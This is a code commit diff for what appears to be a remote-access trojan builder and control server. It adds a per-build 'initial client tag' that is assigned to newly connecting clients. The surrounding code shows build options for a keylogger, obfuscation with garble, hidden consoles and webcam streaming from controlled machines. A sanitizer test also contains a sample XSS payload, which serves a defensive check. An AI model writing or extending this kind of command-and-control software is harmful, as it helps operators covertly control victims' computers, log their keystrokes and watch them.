add auto build tags
This commit is contained in:
@@ -449,6 +449,7 @@ function collectFormSettings() {
|
|||||||
solAddress: document.getElementById("sol-address")?.value ?? "",
|
solAddress: document.getElementById("sol-address")?.value ?? "",
|
||||||
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
|
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
|
||||||
outputName: document.getElementById("output-name")?.value ?? "",
|
outputName: document.getElementById("output-name")?.value ?? "",
|
||||||
|
initialClientTag: document.getElementById("initial-client-tag")?.value ?? "",
|
||||||
iosBundleId: document.getElementById("ios-bundle-id")?.value ?? "",
|
iosBundleId: document.getElementById("ios-bundle-id")?.value ?? "",
|
||||||
mutex: document.getElementById("mutex")?.value ?? "",
|
mutex: document.getElementById("mutex")?.value ?? "",
|
||||||
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
|
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
|
||||||
@@ -515,6 +516,7 @@ function applyFormSettings(settings) {
|
|||||||
if (settings.solAddress !== undefined) setVal("sol-address", settings.solAddress);
|
if (settings.solAddress !== undefined) setVal("sol-address", settings.solAddress);
|
||||||
if (settings.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", settings.solRpcEndpoints);
|
if (settings.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", settings.solRpcEndpoints);
|
||||||
if (settings.outputName !== undefined) setVal("output-name", settings.outputName);
|
if (settings.outputName !== undefined) setVal("output-name", settings.outputName);
|
||||||
|
if (settings.initialClientTag !== undefined) setVal("initial-client-tag", settings.initialClientTag);
|
||||||
if (settings.iosBundleId !== undefined) setVal("ios-bundle-id", settings.iosBundleId);
|
if (settings.iosBundleId !== undefined) setVal("ios-bundle-id", settings.iosBundleId);
|
||||||
if (settings.mutex !== undefined) setVal("mutex", settings.mutex);
|
if (settings.mutex !== undefined) setVal("mutex", settings.mutex);
|
||||||
if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex);
|
if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex);
|
||||||
@@ -1711,6 +1713,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
const enableKeylogger = form.querySelector('input[name="enable-keylogger"]')?.checked ?? true;
|
const enableKeylogger = form.querySelector('input[name="enable-keylogger"]')?.checked ?? true;
|
||||||
|
|
||||||
const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
|
const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
|
||||||
|
const initialClientTagVal = form.querySelector("#initial-client-tag")?.value.trim() || "";
|
||||||
const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
|
const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
|
||||||
const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false;
|
const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false;
|
||||||
const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || "";
|
const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || "";
|
||||||
@@ -1747,6 +1750,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false,
|
enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false,
|
||||||
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
|
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
|
||||||
outputName: outputNameVal || undefined,
|
outputName: outputNameVal || undefined,
|
||||||
|
initialClientTag: initialClientTagVal || undefined,
|
||||||
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
||||||
garbleTiny: obfuscate ? garbleTiny : undefined,
|
garbleTiny: obfuscate ? garbleTiny : undefined,
|
||||||
garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined,
|
garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined,
|
||||||
|
|||||||
@@ -405,6 +405,15 @@
|
|||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-medium text-slate-300 mb-2" for="initial-client-tag">Initial Client Tag</label>
|
||||||
|
<input type="text" id="initial-client-tag" name="initial-client-tag" maxlength="64" placeholder="e.g. Finance, Kiosk Rollout"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" />
|
||||||
|
<p class="text-xs text-slate-500 mt-1">
|
||||||
|
Optional: new clients from this build get this dashboard tag on first connect.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
<div id="ios-bundle-id-container" class="hidden">
|
<div id="ios-bundle-id-container" class="hidden">
|
||||||
<label class="block text-sm font-medium text-slate-300 mb-2" for="ios-bundle-id">iOS Bundle ID</label>
|
<label class="block text-sm font-medium text-slate-300 mb-2" for="ios-bundle-id">iOS Bundle ID</label>
|
||||||
<input type="text" id="ios-bundle-id" name="ios-bundle-id" placeholder="com.overlord.agent (default)"
|
<input type="text" id="ios-bundle-id" name="ios-bundle-id" placeholder="com.overlord.agent (default)"
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ import {
|
|||||||
listUserClientAccessRules,
|
listUserClientAccessRules,
|
||||||
setUserClientAccessScope,
|
setUserClientAccessScope,
|
||||||
} from "./users";
|
} from "./users";
|
||||||
|
import { sanitizeInitialClientTag } from "./server/build-config-sanitize";
|
||||||
|
|
||||||
const createdUserIds: number[] = [];
|
const createdUserIds: number[] = [];
|
||||||
const createdBuildIds: string[] = [];
|
const createdBuildIds: string[] = [];
|
||||||
@@ -68,18 +69,29 @@ afterAll(() => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
describe("build tag DB operations", () => {
|
describe("build tag DB operations", () => {
|
||||||
|
test("initial client tag sanitizer removes XSS metacharacters", () => {
|
||||||
|
const payload = ` <img src=x onerror="alert(1)"> & 'bad' \`tag\` = ok `;
|
||||||
|
expect(sanitizeInitialClientTag(payload)).toBe("img srcx onerroralert(1) bad tag ok");
|
||||||
|
expect(sanitizeInitialClientTag("\u0000 Finance\nTeam \u007f")).toBe("Finance Team");
|
||||||
|
expect(sanitizeInitialClientTag("x".repeat(80))).toHaveLength(64);
|
||||||
|
expect(sanitizeInitialClientTag(" ")).toBeUndefined();
|
||||||
|
expect(sanitizeInitialClientTag({ tag: "nope" })).toBeUndefined();
|
||||||
|
});
|
||||||
|
|
||||||
test("saveBuild stores buildTag and builtByUserId", async () => {
|
test("saveBuild stores buildTag and builtByUserId", async () => {
|
||||||
try {
|
try {
|
||||||
const operator = await createTempUser("operator");
|
const operator = await createTempUser("operator");
|
||||||
const build = saveTempBuild({
|
const build = saveTempBuild({
|
||||||
buildTag: "test-tag-abc123",
|
buildTag: "test-tag-abc123",
|
||||||
builtByUserId: operator.id,
|
builtByUserId: operator.id,
|
||||||
|
initialClientTag: "Finance",
|
||||||
});
|
});
|
||||||
|
|
||||||
const retrieved = getBuild(build.id);
|
const retrieved = getBuild(build.id);
|
||||||
expect(retrieved).not.toBeNull();
|
expect(retrieved).not.toBeNull();
|
||||||
expect(retrieved!.buildTag).toBe("test-tag-abc123");
|
expect(retrieved!.buildTag).toBe("test-tag-abc123");
|
||||||
expect(retrieved!.builtByUserId).toBe(operator.id);
|
expect(retrieved!.builtByUserId).toBe(operator.id);
|
||||||
|
expect(retrieved!.initialClientTag).toBe("Finance");
|
||||||
} finally {
|
} finally {
|
||||||
cleanupCreatedBuilds();
|
cleanupCreatedBuilds();
|
||||||
cleanupCreatedUsers();
|
cleanupCreatedUsers();
|
||||||
@@ -117,6 +129,7 @@ describe("build tag DB operations", () => {
|
|||||||
const build = saveTempBuild({
|
const build = saveTempBuild({
|
||||||
buildTag: tag,
|
buildTag: tag,
|
||||||
builtByUserId: operator.id,
|
builtByUserId: operator.id,
|
||||||
|
initialClientTag: "Kiosk Rollout",
|
||||||
});
|
});
|
||||||
|
|
||||||
const all = getAllBuilds();
|
const all = getAllBuilds();
|
||||||
@@ -124,6 +137,7 @@ describe("build tag DB operations", () => {
|
|||||||
expect(found).not.toBeNull();
|
expect(found).not.toBeNull();
|
||||||
expect(found!.buildTag).toBe(tag);
|
expect(found!.buildTag).toBe(tag);
|
||||||
expect(found!.builtByUserId).toBe(operator.id);
|
expect(found!.builtByUserId).toBe(operator.id);
|
||||||
|
expect(found!.initialClientTag).toBe("Kiosk Rollout");
|
||||||
} finally {
|
} finally {
|
||||||
cleanupCreatedBuilds();
|
cleanupCreatedBuilds();
|
||||||
cleanupCreatedUsers();
|
cleanupCreatedUsers();
|
||||||
@@ -136,6 +150,7 @@ describe("build tag DB operations", () => {
|
|||||||
expect(retrieved).not.toBeNull();
|
expect(retrieved).not.toBeNull();
|
||||||
expect(retrieved!.buildTag).toBeUndefined();
|
expect(retrieved!.buildTag).toBeUndefined();
|
||||||
expect(retrieved!.builtByUserId).toBeUndefined();
|
expect(retrieved!.builtByUserId).toBeUndefined();
|
||||||
|
expect(retrieved!.initialClientTag).toBeUndefined();
|
||||||
cleanupCreatedBuilds();
|
cleanupCreatedBuilds();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1520,13 +1520,14 @@ export interface BuildRecord {
|
|||||||
}>;
|
}>;
|
||||||
buildTag?: string;
|
buildTag?: string;
|
||||||
builtByUserId?: number;
|
builtByUserId?: number;
|
||||||
|
initialClientTag?: string;
|
||||||
blocked?: boolean;
|
blocked?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function saveBuild(build: BuildRecord) {
|
export function saveBuild(build: BuildRecord) {
|
||||||
db.run(
|
db.run(
|
||||||
`INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id)
|
`INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id, initial_client_tag)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?)`,
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||||
build.id,
|
build.id,
|
||||||
build.status,
|
build.status,
|
||||||
build.startTime,
|
build.startTime,
|
||||||
@@ -1534,6 +1535,7 @@ export function saveBuild(build: BuildRecord) {
|
|||||||
JSON.stringify(build.files),
|
JSON.stringify(build.files),
|
||||||
build.buildTag || null,
|
build.buildTag || null,
|
||||||
build.builtByUserId || null,
|
build.builtByUserId || null,
|
||||||
|
build.initialClientTag || null,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1546,6 +1548,7 @@ function mapBuildRow(row: any): BuildRecord {
|
|||||||
files: JSON.parse(row.files),
|
files: JSON.parse(row.files),
|
||||||
buildTag: row.build_tag || undefined,
|
buildTag: row.build_tag || undefined,
|
||||||
builtByUserId: row.built_by_user_id || undefined,
|
builtByUserId: row.built_by_user_id || undefined,
|
||||||
|
initialClientTag: row.initial_client_tag || undefined,
|
||||||
blocked: row.blocked === 1,
|
blocked: row.blocked === 1,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -338,12 +338,14 @@ db.run(`
|
|||||||
expires_at INTEGER NOT NULL,
|
expires_at INTEGER NOT NULL,
|
||||||
files TEXT NOT NULL,
|
files TEXT NOT NULL,
|
||||||
build_tag TEXT,
|
build_tag TEXT,
|
||||||
built_by_user_id INTEGER
|
built_by_user_id INTEGER,
|
||||||
|
initial_client_tag TEXT
|
||||||
);
|
);
|
||||||
`);
|
`);
|
||||||
|
|
||||||
try { db.run(`ALTER TABLE builds ADD COLUMN build_tag TEXT`); } catch {}
|
try { db.run(`ALTER TABLE builds ADD COLUMN build_tag TEXT`); } catch {}
|
||||||
try { db.run(`ALTER TABLE builds ADD COLUMN built_by_user_id INTEGER`); } catch {}
|
try { db.run(`ALTER TABLE builds ADD COLUMN built_by_user_id INTEGER`); } catch {}
|
||||||
|
try { db.run(`ALTER TABLE builds ADD COLUMN initial_client_tag TEXT`); } catch {}
|
||||||
try { db.run(`ALTER TABLE builds ADD COLUMN blocked INTEGER NOT NULL DEFAULT 0`); } catch {}
|
try { db.run(`ALTER TABLE builds ADD COLUMN blocked INTEGER NOT NULL DEFAULT 0`); } catch {}
|
||||||
db.run(`CREATE INDEX IF NOT EXISTS idx_builds_build_tag ON builds(build_tag);`);
|
db.run(`CREATE INDEX IF NOT EXISTS idx_builds_build_tag ON builds(build_tag);`);
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,15 @@
|
|||||||
|
const HTML_META_CHARS = /[<>"'`=&]/g;
|
||||||
|
const CONTROL_CHARS = /[\u0000-\u001f\u007f]/g;
|
||||||
|
|
||||||
|
export function sanitizeInitialClientTag(value: unknown): string | undefined {
|
||||||
|
if (typeof value !== "string") return undefined;
|
||||||
|
|
||||||
|
const cleaned = value
|
||||||
|
.replace(CONTROL_CHARS, " ")
|
||||||
|
.replace(HTML_META_CHARS, "")
|
||||||
|
.replace(/\s+/g, " ")
|
||||||
|
.trim()
|
||||||
|
.slice(0, 64);
|
||||||
|
|
||||||
|
return cleaned || undefined;
|
||||||
|
}
|
||||||
@@ -94,6 +94,7 @@ type BuildProcessConfig = {
|
|||||||
enableWebrtc?: boolean;
|
enableWebrtc?: boolean;
|
||||||
enableWinRE?: boolean;
|
enableWinRE?: boolean;
|
||||||
builtByUserId?: number;
|
builtByUserId?: number;
|
||||||
|
initialClientTag?: string;
|
||||||
outputName?: string;
|
outputName?: string;
|
||||||
garbleLiterals?: boolean;
|
garbleLiterals?: boolean;
|
||||||
garbleTiny?: boolean;
|
garbleTiny?: boolean;
|
||||||
@@ -2084,6 +2085,7 @@ func runBoundFiles() {
|
|||||||
files: build.files as any,
|
files: build.files as any,
|
||||||
buildTag,
|
buildTag,
|
||||||
builtByUserId: config.builtByUserId,
|
builtByUserId: config.builtByUserId,
|
||||||
|
initialClientTag: config.initialClientTag,
|
||||||
});
|
});
|
||||||
|
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
|
|||||||
@@ -28,6 +28,7 @@ import fs from "fs";
|
|||||||
import { resolveRuntimeRoot } from "../runtime-paths";
|
import { resolveRuntimeRoot } from "../runtime-paths";
|
||||||
import { createUploadPull } from "../file-transfer-state";
|
import { createUploadPull } from "../file-transfer-state";
|
||||||
import { handleBuildProfileRoutes } from "./build-profile-routes";
|
import { handleBuildProfileRoutes } from "./build-profile-routes";
|
||||||
|
import { sanitizeInitialClientTag } from "../build-config-sanitize";
|
||||||
|
|
||||||
type RequestIpProvider = {
|
type RequestIpProvider = {
|
||||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||||
@@ -205,6 +206,7 @@ export async function handleBuildRoutes(
|
|||||||
outputSgnTxt,
|
outputSgnTxt,
|
||||||
fetchPublicIP,
|
fetchPublicIP,
|
||||||
uploadToFileShare,
|
uploadToFileShare,
|
||||||
|
initialClientTag,
|
||||||
buildPlugins,
|
buildPlugins,
|
||||||
} = body;
|
} = body;
|
||||||
|
|
||||||
@@ -460,6 +462,8 @@ export async function handleBuildRoutes(
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const safeInitialClientTag = sanitizeInitialClientTag(initialClientTag);
|
||||||
|
|
||||||
const rateLimitActive = getConfig().registration.mode !== "off";
|
const rateLimitActive = getConfig().registration.mode !== "off";
|
||||||
if (rateLimitActive) recordBuildStart(user.userId);
|
if (rateLimitActive) recordBuildStart(user.userId);
|
||||||
|
|
||||||
@@ -481,6 +485,7 @@ export async function handleBuildRoutes(
|
|||||||
hideConsole: !!hideConsole,
|
hideConsole: !!hideConsole,
|
||||||
noPrinting: safeNoPrinting,
|
noPrinting: safeNoPrinting,
|
||||||
builtByUserId: user.userId,
|
builtByUserId: user.userId,
|
||||||
|
initialClientTag: safeInitialClientTag,
|
||||||
outputName: safeOutputName,
|
outputName: safeOutputName,
|
||||||
garbleLiterals: !!garbleLiterals,
|
garbleLiterals: !!garbleLiterals,
|
||||||
garbleTiny: !!garbleTiny,
|
garbleTiny: !!garbleTiny,
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ async function getGeoip() {
|
|||||||
}
|
}
|
||||||
import { logAudit, AuditAction } from "../../auditLog";
|
import { logAudit, AuditAction } from "../../auditLog";
|
||||||
import * as clientManager from "../../clientManager";
|
import * as clientManager from "../../clientManager";
|
||||||
import { clientExists, setOnlineState, setOfflineStates, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag, computeClientSuspiciousFlags, type OfflineStateUpdate } from "../../db";
|
import { clientExists, setOnlineState, setOfflineStates, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuild, getBuildByTag, computeClientSuspiciousFlags, type OfflineStateUpdate } from "../../db";
|
||||||
import { getConfig } from "../../config";
|
import { getConfig } from "../../config";
|
||||||
import { logger } from "../../logger";
|
import { logger } from "../../logger";
|
||||||
import { metrics } from "../../metrics";
|
import { metrics } from "../../metrics";
|
||||||
@@ -467,6 +467,7 @@ export async function handleWebSocketMessage(
|
|||||||
|
|
||||||
let resolvedBuildId: string | null = null;
|
let resolvedBuildId: string | null = null;
|
||||||
let builtByUserId: number | undefined;
|
let builtByUserId: number | undefined;
|
||||||
|
let initialClientTag: string | undefined;
|
||||||
let isRevoked = false;
|
let isRevoked = false;
|
||||||
|
|
||||||
if (buildTag) {
|
if (buildTag) {
|
||||||
@@ -474,12 +475,20 @@ export async function handleWebSocketMessage(
|
|||||||
if (verified) {
|
if (verified) {
|
||||||
resolvedBuildId = verified.bid;
|
resolvedBuildId = verified.bid;
|
||||||
builtByUserId = verified.uid ?? undefined;
|
builtByUserId = verified.uid ?? undefined;
|
||||||
isRevoked = isBuildBanned(verified.bid);
|
const build = getBuild(verified.bid);
|
||||||
|
if (build) {
|
||||||
|
builtByUserId = build.builtByUserId ?? builtByUserId;
|
||||||
|
initialClientTag = build.initialClientTag;
|
||||||
|
isRevoked = !!build.blocked || isBuildBanned(verified.bid);
|
||||||
|
} else {
|
||||||
|
isRevoked = isBuildBanned(verified.bid);
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
const build = getBuildByTag(buildTag);
|
const build = getBuildByTag(buildTag);
|
||||||
if (build) {
|
if (build) {
|
||||||
resolvedBuildId = build.id;
|
resolvedBuildId = build.id;
|
||||||
builtByUserId = build.builtByUserId;
|
builtByUserId = build.builtByUserId;
|
||||||
|
initialClientTag = build.initialClientTag;
|
||||||
isRevoked = !!build.blocked || isBuildBanned(build.id);
|
isRevoked = !!build.blocked || isBuildBanned(build.id);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -541,6 +550,7 @@ export async function handleWebSocketMessage(
|
|||||||
const geo = ip ? geoip.lookup(ip) : undefined;
|
const geo = ip ? geoip.lookup(ip) : undefined;
|
||||||
const countryRaw = geo?.country || (payload as any).country || "ZZ";
|
const countryRaw = geo?.country || (payload as any).country || "ZZ";
|
||||||
const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ";
|
const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ";
|
||||||
|
const initialTagForNewClient = existing || clientExists(resolvedId) ? undefined : initialClientTag;
|
||||||
|
|
||||||
const _s = (v: unknown, max = 256): string | undefined => {
|
const _s = (v: unknown, max = 256): string | undefined => {
|
||||||
if (typeof v !== "string") return undefined;
|
if (typeof v !== "string") return undefined;
|
||||||
@@ -576,6 +586,7 @@ export async function handleWebSocketMessage(
|
|||||||
enrollmentStatus: "pending",
|
enrollmentStatus: "pending",
|
||||||
buildTag: buildTag || undefined,
|
buildTag: buildTag || undefined,
|
||||||
builtByUserId,
|
builtByUserId,
|
||||||
|
...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
|
||||||
});
|
});
|
||||||
|
|
||||||
logger.info(`[purgatory] client ${resolvedId} is pending approval`);
|
logger.info(`[purgatory] client ${resolvedId} is pending approval`);
|
||||||
@@ -633,7 +644,9 @@ export async function handleWebSocketMessage(
|
|||||||
deps.webcamStreamingState.delete(resolvedId);
|
deps.webcamStreamingState.delete(resolvedId);
|
||||||
}
|
}
|
||||||
|
|
||||||
ws.data.wasKnown = clientExists(resolvedId);
|
const wasKnown = clientExists(resolvedId);
|
||||||
|
ws.data.wasKnown = wasKnown;
|
||||||
|
const initialTagForNewClient = wasKnown ? undefined : initialClientTag;
|
||||||
|
|
||||||
const infoObj: ClientInfo = {
|
const infoObj: ClientInfo = {
|
||||||
id: resolvedId,
|
id: resolvedId,
|
||||||
@@ -646,6 +659,7 @@ export async function handleWebSocketMessage(
|
|||||||
publicKey,
|
publicKey,
|
||||||
keyFingerprint,
|
keyFingerprint,
|
||||||
enrollmentStatus: "approved" as any,
|
enrollmentStatus: "approved" as any,
|
||||||
|
...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
|
||||||
};
|
};
|
||||||
clientManager.addClient(resolvedId, infoObj);
|
clientManager.addClient(resolvedId, infoObj);
|
||||||
|
|
||||||
@@ -656,6 +670,7 @@ export async function handleWebSocketMessage(
|
|||||||
enrollmentStatus: "approved",
|
enrollmentStatus: "approved",
|
||||||
buildTag: buildTag || undefined,
|
buildTag: buildTag || undefined,
|
||||||
builtByUserId,
|
builtByUserId,
|
||||||
|
...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
|
||||||
online: 1 as any,
|
online: 1 as any,
|
||||||
lastSeen: Date.now(),
|
lastSeen: Date.now(),
|
||||||
});
|
});
|
||||||
|
|||||||
Reference in New Issue
Block a user